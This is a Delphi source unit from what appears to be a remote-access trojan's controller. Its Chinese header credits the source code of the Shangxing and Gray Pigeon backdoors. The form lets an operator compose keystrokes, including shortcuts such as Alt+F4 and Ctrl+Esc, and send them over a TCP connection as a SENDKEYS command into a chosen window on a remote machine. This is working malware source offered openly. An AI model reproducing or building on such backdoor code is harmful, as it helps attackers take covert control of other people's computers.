unitformsendkeys.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

unit UnitFormSendKeys;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, IdTCPServer, Menus;

type
  TFormSendKeys = class(TForm)
    MemoSendKeys: TMemo;
    BtnEnviar: TSpeedButton;
    EditTitulo: TEdit;
    EditHandle: TEdit;
    LabelHandle: TLabel;
    BtnEspeciales: TSpeedButton;
    PopupSendKeys: TPopupMenu;
    Enter1: TMenuItem;
    Control1: TMenuItem;
    Alt1: TMenuItem;
    Shift1: TMenuItem;
    Retroceso1: TMenuItem;
    Suprimir1: TMenuItem;
    Escape1: TMenuItem;
    N1: TMenuItem;
    Combinaciones1: TMenuItem;
    N2: TMenuItem;
    Msinformacin1: TMenuItem;
    AltF4Cerrarventana1: TMenuItem;
    ControlEscapeAbrirMenInicio1: TMenuItem;
    procedure FormShow(Sender: TObject);
    procedure BtnEnviarClick(Sender: TObject);
    procedure BtnEspecialesClick(Sender: TObject);
//    procedure BtnInformacionClick(Sender: TObject);
    procedure Enter1Click(Sender: TObject);
    procedure Shift1Click(Sender: TObject);
    procedure Control1Click(Sender: TObject);
    procedure Alt1Click(Sender: TObject);
    procedure Retroceso1Click(Sender: TObject);
    procedure Suprimir1Click(Sender: TObject);
    procedure Escape1Click(Sender: TObject);
    procedure AltF4Cerrarventana1Click(Sender: TObject);
    procedure ControlEscapeAbrirMenInicio1Click(Sender: TObject);
//    procedure Msinformacin1Click(Sender: TObject);
  private
    { Private declarations }
    Servidor : TIdPeerThread;
    E : string;
  public
    { Public declarations }
  constructor Create(aOwner: TComponent; Socket: TIdPeerThread; Handle, Titulo: String);
  end;

var
  FormSendKeys: TFormSendKeys;

implementation

{$R *.dfm}

constructor TFormSendKeys.Create(aOwner: TComponent; Socket: TIdPeerThread; Handle, Titulo: String);
begin
  inherited Create(aOwner);
  Servidor := Socket;
  EditHandle.Text := Handle;
  EditTitulo.Text := Titulo;
  E := #13#10;
end;

procedure TFormSendKeys.FormShow(Sender: TObject);
begin
  MemoSendKeys.Clear;
end;

procedure TFormSendKeys.BtnEnviarClick(Sender: TObject);
begin
  Servidor.Connection.WriteLn('SENDKEYS|'+EditHandle.Text+'|'+MemoSendKeys.Text);
  Close;
end;

procedure TFormSendKeys.BtnEspecialesClick(Sender: TObject);
begin
  PopupSendKeys.Popup(FormSendKeys.Left + BtnEspeciales.Left, FormSendKeys.Top + BtnEspeciales.Top);
end;



procedure TFormSendKeys.Enter1Click(Sender: TObject);
begin
  MemoSendKeys.Text := MemoSendKeys.Text + '~';
end;

procedure TFormSendKeys.Shift1Click(Sender: TObject);
begin
  MemoSendKeys.Text := MemoSendKeys.Text + '+(';
end;

procedure TFormSendKeys.Control1Click(Sender: TObject);
begin
  MemoSendKeys.Text := MemoSendKeys.Text + '^(';
end;

procedure TFormSendKeys.Alt1Click(Sender: TObject);
begin
  MemoSendKeys.Text := MemoSendKeys.Text + '%(';
end;

procedure TFormSendKeys.Retroceso1Click(Sender: TObject);
begin
  MemoSendKeys.Text := MemoSendKeys.Text + '{BS}';
end;

procedure TFormSendKeys.Suprimir1Click(Sender: TObject);
begin
  MemoSendKeys.Text := MemoSendKeys.Text + '{DEL}';
end;

procedure TFormSendKeys.Escape1Click(Sender: TObject);
begin
  MemoSendKeys.Text := MemoSendKeys.Text + '{ESCAPE}';
end;

procedure TFormSendKeys.AltF4Cerrarventana1Click(Sender: TObject);
begin
  MemoSendKeys.Text := MemoSendKeys.Text + '%({F4})';
end;

procedure TFormSendKeys.ControlEscapeAbrirMenInicio1Click(Sender: TObject);
begin
  MemoSendKeys.Text := MemoSendKeys.Text + '^({ESCAPE})';
end;



end.